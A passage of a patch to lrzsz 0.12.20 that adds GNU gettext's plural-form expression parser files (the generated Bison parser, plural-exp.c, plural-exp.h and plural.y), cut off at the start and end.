-+ yychar = YYEOF; /* Don't call YYLEX any more */
-+
-+ YYDPRINTF ((stderr, "Now at end of input.\n"));
-+ }
-+ else
-+ {
-+ yychar1 = YYTRANSLATE (yychar);
-+
-+#if YYDEBUG
-+ /* We have to keep this `#if YYDEBUG', since we use variables
-+ which are defined only if `YYDEBUG' is set. */
-+ if (yydebug)
-+ {
-+ YYFPRINTF (stderr, "Next token is %d (%s",
-+ yychar, yytname[yychar1]);
-+ /* Give the individual parser a way to print the precise
-+ meaning of a token, for further debugging info. */
-+# ifdef YYPRINT
-+ YYPRINT (stderr, yychar, yylval);
-+# endif
-+ YYFPRINTF (stderr, ")\n");
-+ }
-+#endif
-+ }
-+
-+ yyn += yychar1;
-+ if (yyn < 0 || yyn > YYLAST || yycheck[yyn] != yychar1)
-+ goto yydefault;
-+
-+ yyn = yytable[yyn];
-+
-+ /* yyn is what to do for this token type in this state.
-+ Negative => reduce, -yyn is rule number.
-+ Positive => shift, yyn is new state.
-+ New state is final state => don't bother to shift,
-+ just return success.
-+ 0, or most negative number => error. */
-+
-+ if (yyn < 0)
-+ {
-+ if (yyn == YYFLAG)
-+ goto yyerrlab;
-+ yyn = -yyn;
-+ goto yyreduce;
-+ }
-+ else if (yyn == 0)
-+ goto yyerrlab;
-+
-+ if (yyn == YYFINAL)
-+ YYACCEPT;
-+
-+ /* Shift the lookahead token. */
-+ YYDPRINTF ((stderr, "Shifting token %d (%s), ",
-+ yychar, yytname[yychar1]));
-+
-+ /* Discard the token being shifted unless it is eof. */
-+ if (yychar != YYEOF)
-+ yychar = YYEMPTY;
-+
-+ *++yyvsp = yylval;
-+#if YYLSP_NEEDED
-+ *++yylsp = yylloc;
-+#endif
-+
-+ /* Count tokens shifted since error; after three, turn off error
-+ status. */
-+ if (yyerrstatus)
-+ yyerrstatus--;
-+
-+ yystate = yyn;
-+ goto yynewstate;
-+
-+
-+/*-----------------------------------------------------------.
-+| yydefault -- do the default action for the current state. |
-+`-----------------------------------------------------------*/
-+yydefault:
-+ yyn = yydefact[yystate];
-+ if (yyn == 0)
-+ goto yyerrlab;
-+ goto yyreduce;
-+
-+
-+/*-----------------------------.
-+| yyreduce -- Do a reduction. |
-+`-----------------------------*/
-+yyreduce:
-+ /* yyn is the number of a rule to reduce with. */
-+ yylen = yyr2[yyn];
-+
-+ /* If YYLEN is nonzero, implement the default value of the action:
-+ `$$ = $1'.
-+
-+ Otherwise, the following line sets YYVAL to the semantic value of
-+ the lookahead token. This behavior is undocumented and Bison
-+ users should not rely upon it. Assigning to YYVAL
-+ unconditionally makes the parser a bit smaller, and it avoids a
-+ GCC warning that YYVAL may be used uninitialized. */
-+ yyval = yyvsp[1-yylen];
-+
-+#if YYLSP_NEEDED
-+ /* Similarly for the default location. Let the user run additional
-+ commands if for instance locations are ranges. */
-+ yyloc = yylsp[1-yylen];
-+ YYLLOC_DEFAULT (yyloc, (yylsp - yylen), yylen);
-+#endif
-+
-+#if YYDEBUG
-+ /* We have to keep this `#if YYDEBUG', since we use variables which
-+ are defined only if `YYDEBUG' is set. */
-+ if (yydebug)
-+ {
-+ int yyi;
-+
-+ YYFPRINTF (stderr, "Reducing via rule %d (line %d), ",
-+ yyn, yyrline[yyn]);
-+
-+ /* Print the symbols being reduced, and their result. */
-+ for (yyi = yyprhs[yyn]; yyrhs[yyi] > 0; yyi++)
-+ YYFPRINTF (stderr, "%s ", yytname[yyrhs[yyi]]);
-+ YYFPRINTF (stderr, " -> %s\n", yytname[yyr1[yyn]]);
-+ }
-+#endif
-+
-+ switch (yyn) {
-+
-+case 1:
-+#line 151 "plural.y"
-+{
-+ if (yyvsp[0].exp == NULL)
-+ YYABORT;
-+ ((struct parse_args *) arg)->res = yyvsp[0].exp;
-+ }
-+ break;
-+case 2:
-+#line 159 "plural.y"
-+{
-+ yyval.exp = new_exp_3 (qmop, yyvsp[-4].exp, yyvsp[-2].exp, yyvsp[0].exp);
-+ }
-+ break;
-+case 3:
-+#line 163 "plural.y"
-+{
-+ yyval.exp = new_exp_2 (lor, yyvsp[-2].exp, yyvsp[0].exp);
-+ }
-+ break;
-+case 4:
-+#line 167 "plural.y"
-+{
-+ yyval.exp = new_exp_2 (land, yyvsp[-2].exp, yyvsp[0].exp);
-+ }
-+ break;
-+case 5:
-+#line 171 "plural.y"
-+{
-+ yyval.exp = new_exp_2 (yyvsp[-1].op, yyvsp[-2].exp, yyvsp[0].exp);
-+ }
-+ break;
-+case 6:
-+#line 175 "plural.y"
-+{
-+ yyval.exp = new_exp_2 (yyvsp[-1].op, yyvsp[-2].exp, yyvsp[0].exp);
-+ }
-+ break;
-+case 7:
-+#line 179 "plural.y"
-+{
-+ yyval.exp = new_exp_2 (yyvsp[-1].op, yyvsp[-2].exp, yyvsp[0].exp);
-+ }
-+ break;
-+case 8:
-+#line 183 "plural.y"
-+{
-+ yyval.exp = new_exp_2 (yyvsp[-1].op, yyvsp[-2].exp, yyvsp[0].exp);
-+ }
-+ break;
-+case 9:
-+#line 187 "plural.y"
-+{
-+ yyval.exp = new_exp_1 (lnot, yyvsp[0].exp);
-+ }
-+ break;
-+case 10:
-+#line 191 "plural.y"
-+{
-+ yyval.exp = new_exp_0 (var);
-+ }
-+ break;
-+case 11:
-+#line 195 "plural.y"
-+{
-+ if ((yyval.exp = new_exp_0 (num)) != NULL)
-+ yyval.exp->val.num = yyvsp[0].num;
-+ }
-+ break;
-+case 12:
-+#line 200 "plural.y"
-+{
-+ yyval.exp = yyvsp[-1].exp;
-+ }
-+ break;
-+}
-+
-+#line 705 "/usr/local/share/bison/bison.simple"
-+
-+
-+ yyvsp -= yylen;
-+ yyssp -= yylen;
-+#if YYLSP_NEEDED
-+ yylsp -= yylen;
-+#endif
-+
-+#if YYDEBUG
-+ if (yydebug)
-+ {
-+ short *yyssp1 = yyss - 1;
-+ YYFPRINTF (stderr, "state stack now");
-+ while (yyssp1 != yyssp)
-+ YYFPRINTF (stderr, " %d", *++yyssp1);
-+ YYFPRINTF (stderr, "\n");
-+ }
-+#endif
-+
-+ *++yyvsp = yyval;
-+#if YYLSP_NEEDED
-+ *++yylsp = yyloc;
-+#endif
-+
-+ /* Now `shift' the result of the reduction. Determine what state
-+ that goes to, based on the state we popped back to and the rule
-+ number reduced by. */
-+
-+ yyn = yyr1[yyn];
-+
-+ yystate = yypgoto[yyn - YYNTBASE] + *yyssp;
-+ if (yystate >= 0 && yystate <= YYLAST && yycheck[yystate] == *yyssp)
-+ yystate = yytable[yystate];
-+ else
-+ yystate = yydefgoto[yyn - YYNTBASE];
-+
-+ goto yynewstate;
-+
-+
-+/*------------------------------------.
-+| yyerrlab -- here on detecting error |
-+`------------------------------------*/
-+yyerrlab:
-+ /* If not already recovering from an error, report this error. */
-+ if (!yyerrstatus)
-+ {
-+ ++yynerrs;
-+
-+#ifdef YYERROR_VERBOSE
-+ yyn = yypact[yystate];
-+
-+ if (yyn > YYFLAG && yyn < YYLAST)
-+ {
-+ YYSIZE_T yysize = 0;
-+ char *yymsg;
-+ int yyx, yycount;
-+
-+ yycount = 0;
-+ /* Start YYX at -YYN if negative to avoid negative indexes in
-+ YYCHECK. */
-+ for (yyx = yyn < 0 ? -yyn : 0;
-+ yyx < (int) (sizeof (yytname) / sizeof (char *)); yyx++)
-+ if (yycheck[yyx + yyn] == yyx)
-+ yysize += yystrlen (yytname[yyx]) + 15, yycount++;
-+ yysize += yystrlen ("parse error, unexpected ") + 1;
-+ yysize += yystrlen (yytname[YYTRANSLATE (yychar)]);
-+ yymsg = (char *) YYSTACK_ALLOC (yysize);
-+ if (yymsg != 0)
-+ {
-+ char *yyp = yystpcpy (yymsg, "parse error, unexpected ");
-+ yyp = yystpcpy (yyp, yytname[YYTRANSLATE (yychar)]);
-+
-+ if (yycount < 5)
-+ {
-+ yycount = 0;
-+ for (yyx = yyn < 0 ? -yyn : 0;
-+ yyx < (int) (sizeof (yytname) / sizeof (char *));
-+ yyx++)
-+ if (yycheck[yyx + yyn] == yyx)
-+ {
-+ const char *yyq = ! yycount ? ", expecting " : " or ";
-+ yyp = yystpcpy (yyp, yyq);
-+ yyp = yystpcpy (yyp, yytname[yyx]);
-+ yycount++;
-+ }
-+ }
-+ yyerror (yymsg);
-+ YYSTACK_FREE (yymsg);
-+ }
-+ else
-+ yyerror ("parse error; also virtual memory exhausted");
-+ }
-+ else
-+#endif /* defined (YYERROR_VERBOSE) */
-+ yyerror ("parse error");
-+ }
-+ goto yyerrlab1;
-+
-+
-+/*--------------------------------------------------.
-+| yyerrlab1 -- error raised explicitly by an action |
-+`--------------------------------------------------*/
-+yyerrlab1:
-+ if (yyerrstatus == 3)
-+ {
-+ /* If just tried and failed to reuse lookahead token after an
-+ error, discard it. */
-+
-+ /* return failure if at end of input */
-+ if (yychar == YYEOF)
-+ YYABORT;
-+ YYDPRINTF ((stderr, "Discarding token %d (%s).\n",
-+ yychar, yytname[yychar1]));
-+ yychar = YYEMPTY;
-+ }
-+
-+ /* Else will try to reuse lookahead token after shifting the error
-+ token. */
-+
-+ yyerrstatus = 3; /* Each real token shifted decrements this */
-+
-+ goto yyerrhandle;
-+
-+
-+/*-------------------------------------------------------------------.
-+| yyerrdefault -- current state does not do anything special for the |
-+| error token. |
-+`-------------------------------------------------------------------*/
-+yyerrdefault:
-+#if 0
-+ /* This is wrong; only states that explicitly want error tokens
-+ should shift them. */
-+
-+ /* If its default is to accept any token, ok. Otherwise pop it. */
-+ yyn = yydefact[yystate];
-+ if (yyn)
-+ goto yydefault;
-+#endif
-+
-+
-+/*---------------------------------------------------------------.
-+| yyerrpop -- pop the current state because it cannot handle the |
-+| error token |
-+`---------------------------------------------------------------*/
-+yyerrpop:
-+ if (yyssp == yyss)
-+ YYABORT;
-+ yyvsp--;
-+ yystate = *--yyssp;
-+#if YYLSP_NEEDED
-+ yylsp--;
-+#endif
-+
-+#if YYDEBUG
-+ if (yydebug)
-+ {
-+ short *yyssp1 = yyss - 1;
-+ YYFPRINTF (stderr, "Error: state stack now");
-+ while (yyssp1 != yyssp)
-+ YYFPRINTF (stderr, " %d", *++yyssp1);
-+ YYFPRINTF (stderr, "\n");
-+ }
-+#endif
-+
-+/*--------------.
-+| yyerrhandle. |
-+`--------------*/
-+yyerrhandle:
-+ yyn = yypact[yystate];
-+ if (yyn == YYFLAG)
-+ goto yyerrdefault;
-+
-+ yyn += YYTERROR;
-+ if (yyn < 0 || yyn > YYLAST || yycheck[yyn] != YYTERROR)
-+ goto yyerrdefault;
-+
-+ yyn = yytable[yyn];
-+ if (yyn < 0)
-+ {
-+ if (yyn == YYFLAG)
-+ goto yyerrpop;
-+ yyn = -yyn;
-+ goto yyreduce;
-+ }
-+ else if (yyn == 0)
-+ goto yyerrpop;
-+
-+ if (yyn == YYFINAL)
-+ YYACCEPT;
-+
-+ YYDPRINTF ((stderr, "Shifting error token, "));
-+
-+ *++yyvsp = yylval;
-+#if YYLSP_NEEDED
-+ *++yylsp = yylloc;
-+#endif
-+
-+ yystate = yyn;
-+ goto yynewstate;
-+
-+
-+/*-------------------------------------.
-+| yyacceptlab -- YYACCEPT comes here. |
-+`-------------------------------------*/
-+yyacceptlab:
-+ yyresult = 0;
-+ goto yyreturn;
-+
-+/*-----------------------------------.
-+| yyabortlab -- YYABORT comes here. |
-+`-----------------------------------*/
-+yyabortlab:
-+ yyresult = 1;
-+ goto yyreturn;
-+
-+/*---------------------------------------------.
-+| yyoverflowab -- parser overflow comes here. |
-+`---------------------------------------------*/
-+yyoverflowlab:
-+ yyerror ("parser stack overflow");
-+ yyresult = 2;
-+ /* Fall through. */
-+
-+yyreturn:
-+#ifndef yyoverflow
-+ if (yyss != yyssa)
-+ YYSTACK_FREE (yyss);
-+#endif
-+ return yyresult;
-+}
-+#line 205 "plural.y"
-+
-+
-+void
-+internal_function
-+FREE_EXPRESSION (struct expression *exp)
-+{
-+ if (exp == NULL)
-+ return;
-+
-+ /* Handle the recursive case. */
-+ switch (exp->nargs)
-+ {
-+ case 3:
-+ FREE_EXPRESSION (exp->val.args[2]);
-+ /* FALLTHROUGH */
-+ case 2:
-+ FREE_EXPRESSION (exp->val.args[1]);
-+ /* FALLTHROUGH */
-+ case 1:
-+ FREE_EXPRESSION (exp->val.args[0]);
-+ /* FALLTHROUGH */
-+ default:
-+ break;
-+ }
-+
-+ free (exp);
-+}
-+
-+
-+static int
-+yylex (YYSTYPE *lval, const char **pexp)
-+{
-+ const char *exp = *pexp;
-+ int result;
-+
-+ while (1)
-+ {
-+ if (exp[0] == '\0')
-+ {
-+ *pexp = exp;
-+ return YYEOF;
-+ }
-+
-+ if (exp[0] != ' ' && exp[0] != '\t')
-+ break;
-+
-+ ++exp;
-+ }
-+
-+ result = *exp++;
-+ switch (result)
-+ {
-+ case '0': case '1': case '2': case '3': case '4':
-+ case '5': case '6': case '7': case '8': case '9':
-+ {
-+ unsigned long int n = result - '0';
-+ while (exp[0] >= '0' && exp[0] <= '9')
-+ {
-+ n *= 10;
-+ n += exp[0] - '0';
-+ ++exp;
-+ }
-+ lval->num = n;
-+ result = NUMBER;
-+ }
-+ break;
-+
-+ case '=':
-+ if (exp[0] == '=')
-+ {
-+ ++exp;
-+ lval->op = equal;
-+ result = EQUOP2;
-+ }
-+ else
-+ result = YYERRCODE;
-+ break;
-+
-+ case '!':
-+ if (exp[0] == '=')
-+ {
-+ ++exp;
-+ lval->op = not_equal;
-+ result = EQUOP2;
-+ }
-+ break;
-+
-+ case '&':
-+ case '|':
-+ if (exp[0] == result)
-+ ++exp;
-+ else
-+ result = YYERRCODE;
-+ break;
-+
-+ case '<':
-+ if (exp[0] == '=')
-+ {
-+ ++exp;
-+ lval->op = less_or_equal;
-+ }
-+ else
-+ lval->op = less_than;
-+ result = CMPOP2;
-+ break;
-+
-+ case '>':
-+ if (exp[0] == '=')
-+ {
-+ ++exp;
-+ lval->op = greater_or_equal;
-+ }
-+ else
-+ lval->op = greater_than;
-+ result = CMPOP2;
-+ break;
-+
-+ case '*':
-+ lval->op = mult;
-+ result = MULOP2;
-+ break;
-+
-+ case '/':
-+ lval->op = divide;
-+ result = MULOP2;
-+ break;
-+
-+ case '%':
-+ lval->op = module;
-+ result = MULOP2;
-+ break;
-+
-+ case '+':
-+ lval->op = plus;
-+ result = ADDOP2;
-+ break;
-+
-+ case '-':
-+ lval->op = minus;
-+ result = ADDOP2;
-+ break;
-+
-+ case 'n':
-+ case '?':
-+ case ':':
-+ case '(':
-+ case ')':
-+ /* Nothing, just return the character. */
-+ break;
-+
-+ case ';':
-+ case '\n':
-+ case '\0':
-+ /* Be safe and let the user call this function again. */
-+ --exp;
-+ result = YYEOF;
-+ break;
-+
-+ default:
-+ result = YYERRCODE;
-+#if YYDEBUG != 0
-+ --exp;
-+#endif
-+ break;
-+ }
-+
-+ *pexp = exp;
-+
-+ return result;
-+}
-+
-+
-+static void
-+yyerror (const char *str)
-+{
-+ /* Do nothing. We don't print error messages here. */
-+}
---- lrzsz-0.12.20.safe/intl/plural-exp.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/plural-exp.c 2004-09-12 14:40:34.578714192 -0400
-@@ -0,0 +1,154 @@
-+/* Expression parsing for plural form selection.
-+ Copyright (C) 2000-2001, 2003 Free Software Foundation, Inc.
-+ Written by Ulrich Drepper <drepper@cygnus.com>, 2000.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <ctype.h>
-+#include <stdlib.h>
-+#include <string.h>
-+
-+#include "plural-exp.h"
-+
-+#if (defined __GNUC__ && !defined __APPLE_CC__) \
-+ || (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L)
-+
-+/* These structs are the constant expression for the germanic plural
-+ form determination. It represents the expression "n != 1". */
-+static const struct expression plvar =
-+{
-+ .nargs = 0,
-+ .operation = var,
-+};
-+static const struct expression plone =
-+{
-+ .nargs = 0,
-+ .operation = num,
-+ .val =
-+ {
-+ .num = 1
-+ }
-+};
-+struct expression GERMANIC_PLURAL =
-+{
-+ .nargs = 2,
-+ .operation = not_equal,
-+ .val =
-+ {
-+ .args =
-+ {
-+ [0] = (struct expression *) &plvar,
-+ [1] = (struct expression *) &plone
-+ }
-+ }
-+};
-+
-+# define INIT_GERMANIC_PLURAL()
-+
-+#else
-+
-+/* For compilers without support for ISO C 99 struct/union initializers:
-+ Initialization at run-time. */
-+
-+static struct expression plvar;
-+static struct expression plone;
-+struct expression GERMANIC_PLURAL;
-+
-+static void
-+init_germanic_plural ()
-+{
-+ if (plone.val.num == 0)
-+ {
-+ plvar.nargs = 0;
-+ plvar.operation = var;
-+
-+ plone.nargs = 0;
-+ plone.operation = num;
-+ plone.val.num = 1;
-+
-+ GERMANIC_PLURAL.nargs = 2;
-+ GERMANIC_PLURAL.operation = not_equal;
-+ GERMANIC_PLURAL.val.args[0] = &plvar;
-+ GERMANIC_PLURAL.val.args[1] = &plone;
-+ }
-+}
-+
-+# define INIT_GERMANIC_PLURAL() init_germanic_plural ()
-+
-+#endif
-+
-+void
-+internal_function
-+EXTRACT_PLURAL_EXPRESSION (const char *nullentry, struct expression **pluralp,
-+ unsigned long int *npluralsp)
-+{
-+ if (nullentry != NULL)
-+ {
-+ const char *plural;
-+ const char *nplurals;
-+
-+ plural = strstr (nullentry, "plural=");
-+ nplurals = strstr (nullentry, "nplurals=");
-+ if (plural == NULL || nplurals == NULL)
-+ goto no_plural;
-+ else
-+ {
-+ char *endp;
-+ unsigned long int n;
-+ struct parse_args args;
-+
-+ /* First get the number. */
-+ nplurals += 9;
-+ while (*nplurals != '\0' && isspace ((unsigned char) *nplurals))
-+ ++nplurals;
-+ if (!(*nplurals >= '0' && *nplurals <= '9'))
-+ goto no_plural;
-+#if defined HAVE_STRTOUL || defined _LIBC
-+ n = strtoul (nplurals, &endp, 10);
-+#else
-+ for (endp = nplurals, n = 0; *endp >= '0' && *endp <= '9'; endp++)
-+ n = n * 10 + (*endp - '0');
-+#endif
-+ if (nplurals == endp)
-+ goto no_plural;
-+ *npluralsp = n;
-+
-+ /* Due to the restrictions bison imposes onto the interface of the
-+ scanner function we have to put the input string and the result
-+ passed up from the parser into the same structure which address
-+ is passed down to the parser. */
-+ plural += 7;
-+ args.cp = plural;
-+ if (PLURAL_PARSE (&args) != 0)
-+ goto no_plural;
-+ *pluralp = args.res;
-+ }
-+ }
-+ else
-+ {
-+ /* By default we are using the Germanic form: singular form only
-+ for `one', the plural form otherwise. Yes, this is also what
-+ English is using since English is a Germanic language. */
-+ no_plural:
-+ INIT_GERMANIC_PLURAL ();
-+ *pluralp = &GERMANIC_PLURAL;
-+ *npluralsp = 2;
-+ }
-+}
---- lrzsz-0.12.20.safe/intl/plural-exp.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/plural-exp.h 2004-09-12 14:40:34.584713280 -0400
-@@ -0,0 +1,118 @@
-+/* Expression parsing and evaluation for plural form selection.
-+ Copyright (C) 2000-2003 Free Software Foundation, Inc.
-+ Written by Ulrich Drepper <drepper@cygnus.com>, 2000.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _PLURAL_EXP_H
-+#define _PLURAL_EXP_H
-+
-+#ifndef internal_function
-+# define internal_function
-+#endif
-+
-+#ifndef attribute_hidden
-+# define attribute_hidden
-+#endif
-+
-+
-+/* This is the representation of the expressions to determine the
-+ plural form. */
-+struct expression
-+{
-+ int nargs; /* Number of arguments. */
-+ enum operator
-+ {
-+ /* Without arguments: */
-+ var, /* The variable "n". */
-+ num, /* Decimal number. */
-+ /* Unary operators: */
-+ lnot, /* Logical NOT. */
-+ /* Binary operators: */
-+ mult, /* Multiplication. */
-+ divide, /* Division. */
-+ module, /* Modulo operation. */
-+ plus, /* Addition. */
-+ minus, /* Subtraction. */
-+ less_than, /* Comparison. */
-+ greater_than, /* Comparison. */
-+ less_or_equal, /* Comparison. */
-+ greater_or_equal, /* Comparison. */
-+ equal, /* Comparison for equality. */
-+ not_equal, /* Comparison for inequality. */
-+ land, /* Logical AND. */
-+ lor, /* Logical OR. */
-+ /* Ternary operators: */
-+ qmop /* Question mark operator. */
-+ } operation;
-+ union
-+ {
-+ unsigned long int num; /* Number value for `num'. */
-+ struct expression *args[3]; /* Up to three arguments. */
-+ } val;
-+};
-+
-+/* This is the data structure to pass information to the parser and get
-+ the result in a thread-safe way. */
-+struct parse_args
-+{
-+ const char *cp;
-+ struct expression *res;
-+};
-+
-+
-+/* Names for the libintl functions are a problem. This source code is used
-+ 1. in the GNU C Library library,
-+ 2. in the GNU libintl library,
-+ 3. in the GNU gettext tools.
-+ The function names in each situation must be different, to allow for
-+ binary incompatible changes in 'struct expression'. Furthermore,
-+ 1. in the GNU C Library library, the names have a __ prefix,
-+ 2.+3. in the GNU libintl library and in the GNU gettext tools, the names
-+ must follow ANSI C and not start with __.
-+ So we have to distinguish the three cases. */
-+#ifdef _LIBC
-+# define FREE_EXPRESSION __gettext_free_exp
-+# define PLURAL_PARSE __gettextparse
-+# define GERMANIC_PLURAL __gettext_germanic_plural
-+# define EXTRACT_PLURAL_EXPRESSION __gettext_extract_plural
-+#elif defined (IN_LIBINTL)
-+# define FREE_EXPRESSION libintl_gettext_free_exp
-+# define PLURAL_PARSE libintl_gettextparse
-+# define GERMANIC_PLURAL libintl_gettext_germanic_plural
-+# define EXTRACT_PLURAL_EXPRESSION libintl_gettext_extract_plural
-+#else
-+# define FREE_EXPRESSION free_plural_expression
-+# define PLURAL_PARSE parse_plural_expression
-+# define GERMANIC_PLURAL germanic_plural
-+# define EXTRACT_PLURAL_EXPRESSION extract_plural_expression
-+#endif
-+
-+extern void FREE_EXPRESSION (struct expression *exp)
-+ internal_function;
-+extern int PLURAL_PARSE (void *arg);
-+extern struct expression GERMANIC_PLURAL attribute_hidden;
-+extern void EXTRACT_PLURAL_EXPRESSION (const char *nullentry,
-+ struct expression **pluralp,
-+ unsigned long int *npluralsp)
-+ internal_function;
-+
-+#if !defined (_LIBC) && !defined (IN_LIBINTL)
-+extern unsigned long int plural_eval (struct expression *pexp,
-+ unsigned long int n);
-+#endif
-+
-+#endif /* _PLURAL_EXP_H */
---- lrzsz-0.12.20.safe/intl/plural.y 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/plural.y 2004-09-12 14:40:34.589712520 -0400
-@@ -0,0 +1,381 @@
-+%{
-+/* Expression parsing for plural form selection.
-+ Copyright (C) 2000-2001, 2003 Free Software Foundation, Inc.
-+ Written by Ulrich Drepper <drepper@cygnus.com>, 2000.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+/* The bison generated parser uses alloca. AIX 3 forces us to put this
-+ declaration at the beginning of the file. The declaration in bison's
-+ skeleton file comes too late. This must come before <config.h>
-+ because <config.h> may include arbitrary system headers. */
-+#if defined _AIX && !defined __GNUC__
-+ #pragma alloca
-+#endif
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <stddef.h>
-+#include <stdlib.h>
-+#include "plural-exp.h"
-+
-+/* The main function generated by the parser is called __gettextparse,
-+ but we want it to be called PLURAL_PARSE. */
-+#ifndef _LIBC
-+# define __gettextparse PLURAL_PARSE
-+#endif
-+
-+#define YYLEX_PARAM &((struct parse_args *) arg)->cp
-+#define YYPARSE_PARAM arg
-+%}
-+%pure_parser
-+%expect 7
-+
-+%union {
-+ unsigned long int num;
-+ enum operator op;
-+ struct expression *exp;
-+}
-+
-+%{
-+/* Prototypes for local functions. */
-+static int yylex (YYSTYPE *lval, const char **pexp);
-+static void yyerror (const char *str);
-+
-+/* Allocation of expressions. */
-+
-+static struct expression *
-+new_exp (int nargs, enum operator op, struct expression * const *args)
-+{
-+ int i;
-+ struct expression *newp;
-+
-+ /* If any of the argument could not be malloc'ed, just return NULL. */
-+ for (i = nargs - 1; i >= 0; i--)
-+ if (args[i] == NULL)
-+ goto fail;
-+
-+ /* Allocate a new expression. */
-+ newp = (struct expression *) malloc (sizeof (*newp));
-+ if (newp != NULL)
-+ {
-+ newp->nargs = nargs;
-+ newp->operation = op;
-+ for (i = nargs - 1; i >= 0; i--)
-+ newp->val.args[i] = args[i];
-+ return newp;
-+ }
-+
-+ fail:
-+ for (i = nargs - 1; i >= 0; i--)
-+ FREE_EXPRESSION (args[i]);
-+
-+ return NULL;
-+}
-+
-+static inline struct expression *
-+new_exp_0 (enum operator op)
-+{
-+ return new_exp (0, op, NULL);
-+}
-+
-+static inline struct expression *
-+new_exp_1 (enum operator op, struct expression *right)
-+{
-+ struct expression *args[1];
-+
-+ args[0] = right;
-+ return new_exp (1, op, args);
-+}
-+
-+static struct expression *
-+new_exp_2 (enum operator op, struct expression *left, struct expression *right)
-+{
-+ struct expression *args[2];
-+
-+ args[0] = left;
-+ args[1] = right;
-+ return new_exp (2, op, args);
-+}
-+
-+static inline struct expression *
-+new_exp_3 (enum operator op, struct expression *bexp,
-+ struct expression *tbranch, struct expression *fbranch)
-+{
-+ struct expression *args[3];
-+
-+ args[0] = bexp;
-+ args[1] = tbranch;
-+ args[2] = fbranch;
-+ return new_exp (3, op, args);
-+}
-+
-+%}
-+
-+/* This declares that all operators have the same associativity and the
-+ precedence order as in C. See [Harbison, Steele: C, A Reference Manual].
-+ There is no unary minus and no bitwise operators.
-+ Operators with the same syntactic behaviour have been merged into a single
-+ token, to save space in the array generated by bison. */
-+%right '?' /* ? */
-+%left '|' /* || */
-+%left '&' /* && */
-+%left EQUOP2 /* == != */
-+%left CMPOP2 /* < > <= >= */
-+%left ADDOP2 /* + - */
-+%left MULOP2 /* * / % */
-+%right '!' /* ! */
-+
-+%token <op> EQUOP2 CMPOP2 ADDOP2 MULOP2
-+%token <num> NUMBER
-+%type <exp> exp
-+
-+%%
-+
-+start: exp
-+ {
-+ if ($1 == NULL)
-+ YYABORT;
-+ ((struct parse_args *) arg)->res = $1;
-+ }
-+ ;
-+
-+exp: exp '?' exp ':' exp
-+ {
-+ $$ = new_exp_3 (qmop, $1, $3, $5);
-+ }
-+ | exp '|' exp
-+ {
-+ $$ = new_exp_2 (lor, $1, $3);
-+ }
-+ | exp '&' exp
-+ {
-+ $$ = new_exp_2 (land, $1, $3);
-+ }
-+ | exp EQUOP2 exp
-+ {
-+ $$ = new_exp_2 ($2, $1, $3);
-+ }
-+ | exp CMPOP2 exp
-+ {
-+ $$ = new_exp_2 ($2, $1, $3);
-+ }
-+ | exp ADDOP2 exp
-+ {
-+ $$ = new_exp_2 ($2, $1, $3);
-+ }
-+ | exp MULOP2 exp
-+ {
-+ $$ = new_exp_2 ($2, $1, $3);
-+ }
-+ | '!' exp
-+ {
-+ $$ = new_exp_1 (lnot, $2);
-+ }
-+ | 'n'
-+ {
-+ $$ = new_exp_0 (var);
-+ }
-+ | NUMBER
-+ {
-+ if (($$ = new_exp_0 (num)) != NULL)
-+ $$->val.num = $1;
-+ }
-+ | '(' exp ')'
-+ {
-+ $$ = $2;
-+ }
-+ ;
-+
-+%%
-+
-+void
-+internal_function
-+FREE_EXPRESSION (struct expression *exp)
-+{
-+ if (exp == NULL)
-+ return;
-+
-+ /* Handle the recursive case. */
-+ switch (exp->nargs)
-+ {
-+ case 3:
-+ FREE_EXPRESSION (exp->val.args[2]);
-+ /* FALLTHROUGH */
-+ case 2:
-+ FREE_EXPRESSION (exp->val.args[1]);
-+ /* FALLTHROUGH */
-+ case 1:
-+ FREE_EXPRESSION (exp->val.args[0]);
-+ /* FALLTHROUGH */
-+ default:
-+ break;
-+ }
-+
-+ free (exp);
-+}
-+
-+
-+static int
-+yylex (YYSTYPE *lval, const char **pexp)
-+{
-+ const char *exp = *pexp;
-+ int result;
-+
-+ while (1)
-+ {
-+ if (exp[0] == '\0')
-+ {
-+ *pexp = exp;
-+ return YYEOF;
-+ }
-+
-+ if (exp[0] != ' ' && exp[0] != '\t')
-+ break;
-+
-+ ++exp;
-+ }
-+
-+ result = *exp++;
-+ switch (result)
-+ {
-+ case '0': case '1': case '2': case '3': case '4':
-+ case '5': case '6': case '7': case '8': case '9':
-+ {
-+ unsigned long int n = result - '0';
